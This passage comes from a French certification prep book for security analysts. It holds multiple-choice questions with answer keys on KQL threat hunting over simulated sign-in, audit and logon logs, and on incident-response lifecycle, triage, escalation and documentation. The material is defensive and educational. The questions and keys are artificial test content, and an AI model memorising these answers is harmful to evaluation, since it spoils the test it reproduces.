**D.** L'exécution de commande sur une VM à 02 h 30 le lundi 5 octobre et la lecture des clés de stockage le dimanche 4 octobre.

**Bonne réponse : D**

### Correction détaillée

**hourofday()** renvoie l'heure UTC (0–23) ; **dayofweek()** renvoie le nombre de jours écoulés depuis le dimanche précédent, sous forme de **timespan** (0d = dimanche, 6d = samedi). Les opérations `runCommand` (exécution de code sur une VM) et `listKeys` (lecture des clés d'un compte de stockage) hors heures ouvrées sont sensibles.

### Analyse des réponses incorrectes

- **A.** L'opération du mardi à 10 h ne remplit aucune condition.
- **B.** Opération en heures ouvrées : exclue.
- **C.** dayofweek() renvoie un timespan (jours depuis le dimanche) ; divisé par 1d, on obtient 0 (dimanche) à 6 (samedi).

### Explication technique

Le 4 octobre 2026 est un dimanche (Jour = 0) et le 5 octobre un lundi (Jour = 1) : la première opération est retenue pour l'heure (2 h), la troisième pour le jour. Penser au fuseau horaire (UTC vs heure locale) et aux équipes d'astreinte légitimes.

### Résultat attendu

Deux lignes : RUNCOMMAND (Heure 2, Jour 1) et LISTKEYS (Heure 15, Jour 0).

### Amélioration proposée

Croiser avec une watchlist des comptes d'astreinte et les fenêtres de maintenance planifiées.

**Point à retenir pour l'examen :** hourofday() = heure UTC ; dayofweek()/1d = 0 (dimanche) à 6 (samedi).

### Référence officielle

- hourofday() — https://learn.microsoft.com/fr-fr/kusto/query/hour-of-day-function?view=microsoft-sentinel
- jourDeLaSemaine() — https://learn.microsoft.com/fr-fr/kusto/query/day-of-week-function?view=microsoft-sentinel

## Question n° 271 — Rejeu de jeton depuis deux adresses

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Chasse aux menaces sur journaux simulés

**Énoncé : Hypothèse de chasse :** un jeton de session volé est rejoué depuis une autre IP (AiTM). Sur ces connexions simulées partageant le même identifiant de session, laquelle est signalée ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Sessions = datatable(TimeGenerated:datetime, UserPrincipalName:string, SessionId:string,
IPAddress:string, Location:string)
[
    datetime(2026-10-05T08:00:00Z), "r.faure@contoso.com", "sess-91a", "192.0.2.44",    "FR",
    datetime(2026-10-05T08:07:00Z), "r.faure@contoso.com", "sess-91a", "203.0.113.150", "NL",
    datetime(2026-10-05T08:20:00Z), "r.faure@contoso.com", "sess-91a", "203.0.113.150", "NL",
    datetime(2026-10-05T09:00:00Z), "l.girard@contoso.com", "sess-77c", "192.0.2.45",   "FR",
    datetime(2026-10-05T09:30:00Z), "l.girard@contoso.com", "sess-77c", "192.0.2.45",   "FR"
];
Sessions
| summarize IPs = dcount(IPAddress), Pays = make_set(Location), Liste = make_set(IPAddress) by
UserPrincipalName, SessionId
| where IPs > 1
```

**A.** Les deux sessions, car elles contiennent plusieurs connexions.

**B.** Aucune, car un SessionId ne peut pas être partagé entre IP.

**C.** La session sess-91a de r.faure, utilisée depuis la France puis, 7 minutes plus tard, depuis une IP aux Pays-Bas.

**D.** La session sess-77c de l.girard.

**Bonne réponse : C**

### Correction détaillée

Un même **identifiant de session** utilisé depuis **plusieurs IP** (et pays) en peu de temps suggère un **vol de cookie/jeton** rejoué par l'attaquant (T1539, T1550.004), typique des attaques AiTM.

### Analyse des réponses incorrectes

- **A.** Le critère porte sur le nombre d'IP distinctes par session, pas sur le nombre de connexions.
- **B.** C'est précisément l'anomalie recherchée : le jeton volé est réutilisé ailleurs.
- **D.** Une seule IP pour toute la session : comportement normal.

### Explication technique

Les réseaux mobiles et les changements Wi-Fi/4G peuvent produire des changements d'IP légitimes, en général dans le même pays et chez le même opérateur. Dans SigninLogs/AADNonInteractiveUserSignInLogs, utilisez SessionId ; Entra ID Protection détecte « Anomalous token » et « Attacker in the Middle ».

### Résultat attendu

r.faure@contoso.com | sess-91a | 2 | [FR, NL] | [192.0.2.44, 203.0.113.150].

### Amélioration proposée

Inclure AADNonInteractiveUserSignInLogs (le rejeu de jeton y apparaît souvent) et ajouter l'ASN/opérateur via `geo_info_from_ip_address()`.

**Point à retenir pour l'examen :** Même SessionId depuis plusieurs IP/pays = rejeu de jeton probable (AiTM).

### Référence officielle

- dcount() (fonction d'agrégation) — https://learn.microsoft.com/fr-fr/kusto/query/dcount-aggregation-function?view=microsoft-sentinel
- AADNonInteractiveUserSignInLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/aadnoninteractiveusersigninlogs

## Question n° 272 — Ajout d'identifiants à un principal de service

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Chasse aux menaces sur journaux simulés

**Énoncé : Hypothèse de chasse :** un attaquant ajoute un secret à une application à privilèges pour persister (T1098.001). Quelle requête renvoie l'opération et son auteur à partir de ces événements d'audit simulés ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Audit = datatable(TimeGenerated:datetime, OperationName:string, Result:string,
InitiatedBy:dynamic, TargetResources:dynamic)
[
    datetime(2026-10-05T04:12:00Z), "Add service principal credentials", "success",
        dynamic({"user":
{"userPrincipalName":"it.contractor@contoso.com","ipAddress":"203.0.113.66"}}),
        dynamic([{"displayName":"App-Paie-Graph","type":"ServicePrincipal"}]),
    datetime(2026-10-05T10:00:00Z), "Update user", "success",
        dynamic({"user":{"userPrincipalName":"rh.admin@contoso.com","ipAddress":"192.0.2.20"}}),
        dynamic([{"displayName":"Nadia Roche","type":"User"}])
];
Audit
| where OperationName has_any ("Add service principal credentials", "Update application – Certificates
and secrets management")
| extend Auteur = tostring(InitiatedBy.user.userPrincipalName), IP =
tostring(InitiatedBy.user.ipAddress), Application = tostring(TargetResources[0].displayName)
| project TimeGenerated, OperationName, Auteur, IP, Application
```

**A.** Deux lignes.

**B.** Une ligne : l'ajout d'identifiants à « App-Paie-Graph » par it.contractor@contoso.com depuis 203.0.113.66 à 04 h 12.

**C.** Aucune ligne, car InitiatedBy est dynamique.

**D.** Une ligne : la mise à jour de l'utilisateur Nadia Roche.

**Bonne réponse : B**

**Correction détaillée**

L'ajout de **secrets ou certificats** à une application ou un principal de service (« Add service principal credentials », « Update application – Certificates and secrets management ») permet à un attaquant de s'authentifier comme l'application, souvent avec des permissions Graph élevées, indépendamment des utilisateurs.

**Analyse des réponses incorrectes**

- **A.** Seule l'opération d'ajout d'identifiants correspond au filtre.
- **C.** La notation pointée suivie de `tostring()` extrait la valeur sans difficulté.
- **D.** L'opération « Update user » n'est pas filtrée.

**Explication technique**

Dans AuditLogs réels, `InitiatedBy` peut contenir `user` ou `app` ; `TargetResources[0].modifiedProperties` détaille les identifiants ajoutés (KeyType, KeyUsage). Investiguer ensuite les connexions du principal de service (AADServicePrincipalSignInLogs) et ses appels Graph (MicrosoftGraphActivityLogs).

**Résultat attendu**

04:12 | Add service principal credentials | it.contractor@contoso.com | 203.0.113.66 | App-Paie-Graph.

**Amélioration proposée**

Prioriser les applications disposant de permissions sensibles (Mail.ReadWrite, Directory.ReadWrite.All, RoleManagement.ReadWrite.Directory).

**Point à retenir pour l'examen :** Persistance applicative = ajout d'identifiants à une application (AuditLogs) → vérifier ses connexions et appels Graph.

**Référence officielle**

- Journaux d'audit — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/auditlogs
- Le type de données dynamiques — https://learn.microsoft.com/fr-fr/kusto/query/scalar-data-types/dynamic?view=microsoft-sentinel

## Question n° 273 — Série temporelle et anomalie de connexions

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Chasse aux menaces sur journaux simulés

**Énoncé : Hypothèse de chasse :** un pic d'échecs de connexion révèle une attaque. Sur la série horaire simulée ci-dessous, quel est l'intérêt de `series_decompose_anomalies` par rapport à un seuil fixe ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Echecs = datatable(Heure:datetime, Nombre:long)
[
    datetime(2026-10-05T00:00:00Z), 12, datetime(2026-10-05T01:00:00Z), 10, datetime(2026-10-
05T02:00:00Z), 11,
    datetime(2026-10-05T03:00:00Z), 13, datetime(2026-10-05T04:00:00Z), 9,  datetime(2026-10-
05T05:00:00Z), 12,
    datetime(2026-10-05T06:00:00Z), 14, datetime(2026-10-05T07:00:00Z), 11, datetime(2026-10-
05T08:00:00Z), 160,
    datetime(2026-10-05T09:00:00Z), 12, datetime(2026-10-05T10:00:00Z), 10, datetime(2026-10-
05T11:00:00Z), 13
];
Echecs
| make-series Serie = sum(Nombre) default = 0 on Heure from datetime(2026-10-05T00:00:00Z) to
datetime(2026-10-05T12:00:00Z) step 1h
| extend (Anomalies, Score, Base) = series_decompose_anomalies(Serie, 1.5, 0, "avg")
| mv-expand Heure to typeof(datetime), Serie to typeof(long), Anomalies to typeof(int)
| where Anomalies == 1
```

**A.** La fonction compare chaque point à la tendance apprise de la série : le pic de 160 échecs à 08 h ressort comme anomalie positive sans qu'il faille fixer un seuil absolu adapté à chaque environnement.

**B.** Elle ne fonctionne qu'avec des données de plus d'un an.

**C.** Elle renvoie le nombre total d'échecs.

**D.** Elle supprime le pic de 08 h comme valeur aberrante.

**Bonne réponse : A**

### Correction détaillée

**series_decompose_anomalies** modélise la série (base, saisonnalité, tendance) et marque les points dont l'écart (résidu) dépasse le seuil de sensibilité (ici 1.5). Les paramètres `0` (pas de saisonnalité, série trop courte) et `"avg"` (tendance = moyenne) rendent le calcul déterministe sur cet extrait. Le pic de **160** à 08 h, face à une base d'environ 11, est marqué **+1** : la détection s'adapte au niveau habituel de chaque série.

### Analyse des réponses incorrectes

- **B.** Elle fonctionne sur des séries courtes ; la détection de saisonnalité s'améliore avec plus d'historique.
- **C.** Elle renvoie trois séries : indicateur d'anomalie, score et valeur de base.
- **D.** Elle signale le pic (Anomalies = 1), elle ne le supprime pas.

### Explication technique

Combiné à `make-series ... by Utilisateur` ou `by IP`, on obtient une détection d'anomalie par entité, comme le font les règles d'anomalie de Sentinel. Choisir le seuil (1.5 = sensible, 3 = strict) en fonction du bruit acceptable.

### Résultat attendu

Une ligne : 2026-10-05T08:00 | 160 | 1.

### Amélioration proposée

Exécuter la même logique par application ou par pays pour localiser la source du pic.

**Point à retenir pour l'examen :** Seuil adaptatif = make-series + series_decompose_anomalies (+1 pic, -1 creux).

### Référence officielle

- opérateur make-series — https://learn.microsoft.com/fr-fr/kusto/query/make-series-operator?view=microsoft-sentinel
- series_decompose_anomalies() — https://learn.microsoft.com/fr-fr/kusto/query/series-decompose-anomalies-function?view=microsoft-sentinel

## Question n° 274 — Fatigue MFA dans des journaux simulés

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Chasse aux menaces sur journaux simulés

**Énoncé : Hypothèse de chasse :** un attaquant bombarde un utilisateur de notifications MFA jusqu'à acceptation. Que renvoie la requête sur ces journaux simulés ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Mfa = datatable(TimeGenerated:datetime, UserPrincipalName:string, IPAddress:string,
ResultType:string)
[
    datetime(2026-10-05T23:01:00Z), "h.marchand@contoso.com", "203.0.113.90", "500121",
    datetime(2026-10-05T23:02:00Z), "h.marchand@contoso.com", "203.0.113.90", "500121",
    datetime(2026-10-05T23:03:00Z), "h.marchand@contoso.com", "203.0.113.90", "500121",
    datetime(2026-10-05T23:04:00Z), "h.marchand@contoso.com", "203.0.113.90", "500121",
    datetime(2026-10-05T23:05:00Z), "h.marchand@contoso.com", "203.0.113.90", "0",
    datetime(2026-10-05T09:00:00Z), "o.perrin@contoso.com",   "192.0.2.80",   "500121",
    datetime(2026-10-05T09:01:00Z), "o.perrin@contoso.com",   "192.0.2.80",   "0"
];
Mfa
| summarize Refus = countif(ResultType == "500121"), Succes = countif(ResultType == "0"), DernierRefus
= maxif(TimeGenerated, ResultType == "500121"), PremierSucces = minif(TimeGenerated, ResultType ==
"0") by UserPrincipalName, IPAddress
| where Refus >= 3 and Succes > 0 and PremierSucces > DernierRefus
```

**A.** Les deux utilisateurs.

**B.** Aucun, car `maxif` n'existe pas.

**C.** o.perrin@contoso.com.

**D.** h.marchand@contoso.com depuis 203.0.113.90 : 4 refus MFA nocturnes suivis d'un succès.

**Bonne réponse : D**

### Correction détaillée

Les agrégations conditionnelles (**countif**, **maxif**, **minif**) permettent, dans un seul `summarize`, de compter les refus MFA (**500121**), les succès et de vérifier qu'un succès **suit** la rafale de refus : signature d'une **fatigue MFA** réussie (T1621).

### Analyse des réponses incorrectes

- **A.** o.perrin ne remplit pas la condition `Refus >= 3`.
- **B.** `maxif()` et `minif()` sont des agrégations conditionnelles valides.
- **C.** Un seul refus suivi d'un succès : erreur ponctuelle plausible, sous le seuil de 3 refus.

### Explication technique

La correspondance de nombres (number matching) et l'affichage du contexte (application, lieu) dans Microsoft Authenticator réduisent fortement ce risque. Réponse : révoquer les sessions, réinitialiser le mot de passe (l'attaquant le connaît), vérifier les méthodes MFA enregistrées.

### Résultat attendu

h.marchand@contoso.com | 203.0.113.90 | 4 | 1 | 23:04 | 23:05.

### Amélioration proposée

Ajouter un filtre sur les heures inhabituelles et la nouveauté de l'IP pour l'utilisateur.

**Point à retenir pour l'examen :** Fatigue MFA = plusieurs 500121 puis succès (countif/maxif/minif).

### Référence officielle

- SigninLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/signinlogs
- Codes d'erreur d'authentification et d'autorisation Microsoft Entra — https://learn.microsoft.com/fr-fr/entra/identity-platform/reference-error-codes

## Question n° 275 — Compte de service utilisé de manière interactive

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Chasse aux menaces sur journaux simulés

**Énoncé : Hypothèse de chasse :** un attaquant utilise les identifiants d'un compte de service pour ouvrir des sessions interactives (T1078). Sur les ouvertures de session simulées, que renvoie la requête ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Logons = datatable(TimeGenerated:datetime, AccountName:string, DeviceName:string,
LogonType:string, RemoteIP:string)
[
    datetime(2026-10-05T02:00:00Z), "svc_backup", "SRV-BKP01", "Service",           "",
    datetime(2026-10-05T02:05:00Z), "svc_backup", "SRV-FIC01", "Network",           "10.0.1.20",
    datetime(2026-10-05T14:22:00Z), "svc_backup", "SRV-DC01",  "RemoteInteractive", "10.0.8.77",
    datetime(2026-10-05T09:00:00Z), "n.robin",    "PC-0042",   "Interactive",       ""
];
Logons
| where AccountName startswith "svc_"
| where LogonType in ("Interactive", "RemoteInteractive")
| project TimeGenerated, AccountName, DeviceName, LogonType, RemoteIP
```

**A.** Deux lignes pour svc_backup : Service et Network.

**B.** Une ligne : svc_backup ouvrant une session RDP (RemoteInteractive) sur le contrôleur de domaine SRV-DC01 depuis 10.0.8.77.

**C.** La ligne de n.robin, car elle est interactive.

**D.** Aucune ligne, car RemoteInteractive n'est pas une ouverture de session interactive.

**Bonne réponse : B**

### Correction détaillée

Un **compte de service** ne devrait ouvrir que des sessions de type **Service**, **Batch** ou **Network**. Une session **interactive** ou **RDP**, de surcroît sur un **contrôleur de domaine** et depuis un poste quelconque, indique l'usage abusif d'identifiants valides (T1078.002) — souvent après un Kerberoasting.

### Analyse des réponses incorrectes

- **A.** Ces types d'ouverture de session sont attendus pour un compte de service et sont exclus par le filtre.
- **C.** n.robin ne commence pas par « svc_ » : utilisateur standard.
- **D.** Le filtre inclut explicitement RemoteInteractive (RDP).

### Explication technique

La convention de nommage (« svc_ ») est une hypothèse : en production, s'appuyer sur une watchlist des comptes de service ou sur IdentityInfo (`IsServiceAccount`). Prévention : refuser l'ouverture de session interactive et RDP aux comptes de service par GPO, utiliser des gMSA.

### Résultat attendu

14:22 | svc_backup | SRV-DC01 | RemoteInteractive | 10.0.8.77.

### Hypothèses liées au schéma de données

Sur DeviceLogonEvents réel, LogonType est une chaîne ; dans SecurityEvent, utiliser les codes 2 et 10.

### Amélioration proposée

Croiser avec l'alerte MDI de Kerberoasting et avec les processus lancés dans la session (InitiatingProcessLogonId).

**Point à retenir pour l'examen :** Compte de service + session interactive/RDP = usage abusif d'identifiants.

### Référence officielle

- DeviceLogonEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-devicelogonevents-table
- in~, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/in-operator?view=microsoft-sentinel

## Question n° 276 — Fichier déposé puis exécuté sur plusieurs postes

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Chasse aux menaces sur journaux simulés

**Énoncé : Hypothèse de chasse :** un même binaire est copié via le partage administratif puis exécuté sur plusieurs postes (propagation latérale, T1570). Que renvoie la requête sur ces événements simulés ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Fichiers = datatable(TimeGenerated:datetime, DeviceName:string, SHA256:string, FolderPath:string)
[
    datetime(2026-10-05T12:00:00Z), "PC-101", "aa11", @"C:\Windows\Temp\upd.exe",
    datetime(2026-10-05T12:00:30Z), "PC-102", "aa11", @"C:\Windows\Temp\upd.exe",
    datetime(2026-10-05T12:01:00Z), "PC-103", "aa11", @"C:\Windows\Temp\upd.exe",
    datetime(2026-10-05T12:30:00Z), "PC-104", "bb22", @"C:\Users\lea\Downloads\menu.pdf"
];
let Executions = datatable(TimeGenerated:datetime, DeviceName:string, SHA256:string)
[
    datetime(2026-10-05T12:00:10Z), "PC-101", "aa11",
    datetime(2026-10-05T12:00:40Z), "PC-102", "aa11",
    datetime(2026-10-05T12:01:15Z), "PC-103", "aa11"
];
Fichiers
| join kind=inner (Executions | project ExecTime = TimeGenerated, DeviceName, SHA256) on DeviceName,
SHA256
| where ExecTime between (TimeGenerated .. TimeGenerated + 5m)
| summarize Postes = dcount(DeviceName), Liste = make_set(DeviceName) by SHA256, FolderPath
| where Postes >= 3
```

**A.** Aucun, car la jointure sur deux colonnes est impossible.

**B.** Le hachage bb22 (menu.pdf).

**C.** Le hachage aa11 (C:\Windows\Temp\upd.exe), déposé puis exécuté sur 3 postes en environ une minute.

**D.** Les deux hachages.

**Bonne réponse : C**

### Correction détaillée

La jointure sur **(DeviceName, SHA256)** associe le dépôt et l'exécution du **même fichier sur le même poste**, la contrainte temporelle (5 minutes) caractérise un enchaînement automatisé, et `dcount(DeviceName) >= 3` la **propagation** sur plusieurs postes.

### Analyse des réponses incorrectes

- **A.** La clause `on` accepte plusieurs colonnes communes.
- **B.** Aucun événement d'exécution correspondant et un seul poste.
- **D.** bb22 est éliminé par la jointure interne.

### Explication technique

En données réelles : DeviceFileEvents (FileCreated, souvent par System via SMB : `RequestProtocol == "SMB"`, `RequestSourceIP`) et DeviceProcessEvents (SHA256 du processus créé). Le dossier `C:\Windows\Temp` ou le partage ADMIN$ sont typiques de PsExec et d'outils de déploiement malveillants.

### Résultat attendu

aa11 | C:\Windows\Temp\upd.exe | 3 | [PC-101, PC-102, PC-103].

### Hypothèses liées au schéma de données

Les hachages sont abrégés dans l'extrait simulé ; en réalité, SHA256 comporte 64 caractères hexadécimaux.

### Amélioration proposée

Ajouter RequestSourceIP pour identifier la machine source de la copie (patient zéro) et vérifier la prévalence mondiale du hachage (FileProfile).

**Point à retenir pour l'examen :** Dépôt + exécution du même hachage sur plusieurs postes en peu de temps = propagation latérale.

### Référence officielle

- opérateur join — https://learn.microsoft.com/fr-fr/kusto/query/join-operator?view=microsoft-sentinel
- DeviceFileEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-devicefileevents-table

# Module 4 — Réponse aux incidents et investigation avancée (questions 277 à 351)

Ce module traite de la **réponse aux incidents** de bout en bout : cycle de vie, triage et priorisation, documentation, escalade et communication, gestion des cas ; hameçonnage et compromission de messagerie (BEC, consentement illicite, AiTM) ; force brute, pulvérisation et comptes hybrides ; rançongiciels et précurseurs ; exfiltration, scripts, persistance et mouvement latéral ; confinement, éradication, restauration et préservation des preuves ; faux positifs ; cartographie MITRE ATT&CK.

Il correspond au domaine officiel **« Répondre aux incidents de sécurité »**, avec quelques questions de détection (domaine 1).

## 4.1 Cycle de vie, triage, priorisation et communication

### Question n° 277 — Phases de la réponse aux incidents

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Selon le modèle classique de réponse aux incidents (NIST SP 800-61), dans quel ordre se déroulent les grandes phases ?

**A.** Préparation → Détection et analyse → Confinement, éradication et restauration → Activités post-incident.

**B.** Détection → Restauration → Confinement → Préparation.

**C.** Éradication → Détection → Préparation → Confinement.

**D.** Confinement → Préparation → Analyse → Retour d'expérience.

**Bonne réponse : A**

#### Correction détaillée

Le cycle NIST comprend : **Préparation** (outils, procédures, formation), **Détection et analyse** (triage, qualification, périmètre), **Confinement, éradication et restauration**, puis **Activités post-incident** (retour d'expérience, amélioration des détections). Le cycle est itératif : l'analyse se poursuit pendant le confinement.

#### Analyse des réponses incorrectes

- **B.** L'ordre est incohérent : on ne restaure pas avant de contenir et d'éradiquer.
- **C.** On ne peut pas éradiquer une menace non encore détectée.
- **D.** La préparation précède l'incident.

#### Explication technique

La révision 3 de NIST SP 800-61 (2025) rapproche la réponse aux incidents des fonctions du NIST CSF 2.0 (Gouverner, Identifier, Protéger, Détecter, Répondre, Restaurer) ; les quatre phases historiques restent un repère pédagogique largement utilisé. Microsoft publie des guides de réponse (« incident response playbooks ») alignés sur ces étapes.

**Point à retenir pour l'examen :** Préparation → Détection/analyse → Confinement/éradication/restauration → Post-incident (itératif).

#### Référence officielle

- Vue d'ensemble des réponse aux incidents — https://learn.microsoft.com/fr-fr/security/operations/incident-response-overview
- Planification de la réponse aux incidents — https://learn.microsoft.com/fr-fr/security/operations/incident-response-planning

## Question n° 278 — Triage d'une alerte isolée

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un analyste N1 reçoit une alerte « Suspicious PowerShell command line » sur un poste. Quelle est la première étape de triage la plus pertinente ?

**A.** Qualifier l'alerte : examiner la ligne de commande, le processus parent, l'utilisateur, l'appareil et les alertes liées pour déterminer s'il s'agit d'un vrai positif et en évaluer la gravité.

**B.** Désactiver PowerShell sur tout le parc.

**C.** Réinstaller immédiatement le poste.

**D.** Fermer l'alerte car PowerShell est un outil légitime.

**Bonne réponse : A**

### Correction détaillée

Le **triage** consiste à **qualifier** l'alerte (vrai/faux positif), en évaluer la **gravité** et le **périmètre**, et décider de l'escalade. On s'appuie sur le contexte : arborescence de processus, ligne de commande (décodée si nécessaire), réputation des fichiers et domaines, comportement de l'utilisateur, alertes corrélées dans l'incident.

### Analyse des réponses incorrectes

- **B.** Mesure disproportionnée, prise sans analyse.
- **C.** Action d'éradication prématurée, qui détruit les preuves et peut être inutile.
- **D.** L'outil est légitime mais son usage peut être malveillant ; il faut analyser.

### Explication technique

Une procédure de triage documentée (runbook) homogénéise les décisions N1. Les outils : page d'alerte, chronologie de l'appareil, chasse avancée, Copilot (analyse de script). Le résultat du triage doit être consigné dans l'incident (commentaire, classification).

**Point à retenir pour l'examen :** Triage = qualifier (vrai/faux positif), évaluer gravité et périmètre, décider de l'escalade — avant toute action destructrice.

### Référence officielle

- Examiner les incidents dans le portail Microsoft Defender (ancienne version) — https://learn.microsoft.com/fr-fr/defender-xdr/investigate-incidents

## Question n° 279 — Prioriser deux incidents simultanés

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Deux incidents arrivent en même temps : (1) gravité moyenne, malware bloqué sur un poste standard ; (2) gravité élevée, activité de type DCSync depuis un serveur applicatif avec un compte d'administrateur. Lequel traiter en premier et pourquoi ?

**A.** L'incident 1, car un malware est plus dangereux qu'une réplication d'annuaire.

**B.** L'incident 1, car il est arrivé quelques secondes plus tôt.

**C.** Les deux ont la même priorité car ce sont des incidents.

**D.** L'incident 2, car il indique une compromission probable d'identifiants à privilèges élevés avec un impact potentiel sur tout le domaine.

**Bonne réponse : D**

### Correction détaillée

La priorisation combine **impact** (étendue, criticité des actifs et des comptes) et **urgence** (attaque en cours, menace contenue ou non). Un DCSync avec un compte d'administrateur menace l'ensemble de l'annuaire (krbtgt, comptes à privilèges) ; un malware bloqué sur un poste est déjà contenu.

### Analyse des réponses incorrectes

- **A.** Le malware a été bloqué ; le DCSync peut exposer tous les hachages du domaine.
- **B.** L'ordre d'arrivée ne prime pas sur l'impact.
- **C.** La priorisation repose sur l'impact et l'urgence.

### Explication technique

Les matrices impact × urgence, la criticité des actifs (Security Exposure Management) et le score de priorité des incidents Defender XDR aident à objectiver la décision. Documenter la justification dans l'incident.

**Point à retenir pour l'examen :** Priorité = impact (actifs/comptes critiques, étendue) × urgence (attaque active, non contenue).

### Référence officielle

- Incidents et alertes dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/incidents-overview

## Question n° 280 — Escalade vers une équipe spécialisée

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Pendant l'analyse d'un incident, un analyste N2 découvre que l'attaquant dispose probablement d'un accès administrateur au domaine et que des données personnelles de clients ont pu être exfiltrées. Quelle action est la plus appropriée ?

**A.** Poursuivre seul l'enquête jusqu'à la fin avant d'informer qui que ce soit.

**B.** Supprimer les journaux pour éviter une fuite d'information.

**C.** Escalader immédiatement selon la procédure (responsable de la réponse aux incidents, RSSI, cellule de crise, juridique/DPO) tout en poursuivant les mesures de confinement validées.

**D.** Publier immédiatement un communiqué de presse.

**Bonne réponse : C**

### Correction détaillée

Les critères d'**escalade** (compromission de comptes à privilèges, données personnelles, impact métier majeur) déclenchent l'activation de la **cellule de crise** et l'implication des fonctions **juridique** et **protection des données**. Des obligations de notification peuvent s'appliquer (par exemple, RGPD : notification à l'autorité de contrôle dans les 72 heures après la prise de connaissance d'une violation présentant un risque).

### Analyse des réponses incorrectes

- **A.** L'impact juridique et métier exige une escalade rapide.
- **B.** Destruction de preuves, contraire aux obligations légales.
- **D.** La communication externe relève de la cellule de crise et du juridique, après qualification.

### Explication technique

Le plan de réponse aux incidents définit les niveaux d'escalade, les contacts, les canaux de communication hors bande (si la messagerie est compromise) et les délais. Le SOC documente chronologiquement toutes les décisions.

**Point à retenir pour l'examen :** Compromission majeure ou données personnelles → escalade immédiate (RSSI, crise, juridique/DPO) ; obligations de notification possibles.

**Référence officielle**

- Planification de la réponse aux incidents — https://learn.microsoft.com/fr-fr/security/operations/incident-response-planning

## Question n° 281 — Communication pendant un incident

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** La messagerie Microsoft 365 de l'entreprise est soupçonnée d'être sous le contrôle de l'attaquant. Comment l'équipe de réponse doit-elle communiquer ?

**A.** Utiliser un canal de communication hors bande prédéfini (par exemple téléphonie ou outil de collaboration indépendant du locataire compromis).

**B.** Ne pas communiquer pour éviter les fuites.

**C.** Continuer à utiliser Teams et Outlook du locataire compromis.

**D.** Envoyer les informations sensibles par e-mail chiffré à tous les employés.

**Bonne réponse : A**

**Correction détaillée**

Lorsqu'un attaquant peut accéder aux outils de communication de l'organisation, l'équipe doit utiliser un **canal hors bande** préparé à l'avance, afin de ne pas révéler les mesures de réponse.

**Analyse des réponses incorrectes**

- **B.** La coordination est indispensable à la réponse.
- **C.** L'attaquant pourrait lire les échanges et anticiper les mesures.
- **D.** Diffusion excessive, et le canal reste compromis.

**Explication technique**

La préparation inclut des comptes de secours, des numéros d'urgence, des copies imprimées des procédures et un annuaire des contacts critiques. Les communications doivent être factuelles, datées et limitées au besoin d'en connaître.

**Point à retenir pour l'examen :** Messagerie potentiellement compromise → communication hors bande prévue dans le plan.

**Référence officielle**

- Planification de la réponse aux incidents — https://learn.microsoft.com/fr-fr/security/operations/incident-response-planning

## Question n° 282 — Documentation d'un incident

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Quelles informations doivent figurer dans la documentation d'un incident pour être exploitables ensuite (audit, retour d'expérience, procédure judiciaire) ?

**A.** Les opinions personnelles de l'analyste sur les utilisateurs concernés.

**B.** Une chronologie horodatée des faits et des actions, les preuves collectées et leur emplacement, les décisions prises et leurs auteurs, les entités impactées, la classification et les causes identifiées.

**C.** Uniquement la date de fermeture de l'incident.

**D.** Rien, car les journaux techniques suffisent.

**Bonne réponse : B**

**Correction détaillée**

Une documentation exploitable contient une **chronologie** (événements et actions de réponse), les **preuves** et leur **chaîne de custode**, les **décisions** et leurs auteurs, le **périmètre** (entités impactées), la **classification** et la **cause racine**.

**Analyse des réponses incorrectes**

- **A.** La documentation doit être factuelle.
- **C.** Insuffisant pour reconstituer ou auditer la réponse.
- **D.** Les journaux ne décrivent ni les décisions ni leur justification.

**Explication technique**

Dans le portail Defender, les commentaires, l'historique d'activité, les tâches et pièces jointes des incidents/cas conservent cette traçabilité ; la gestion des cas peut auditer les changements (table SecurityCaseEvent). Les rapports d'incident générés par Copilot sont un point de départ à vérifier.

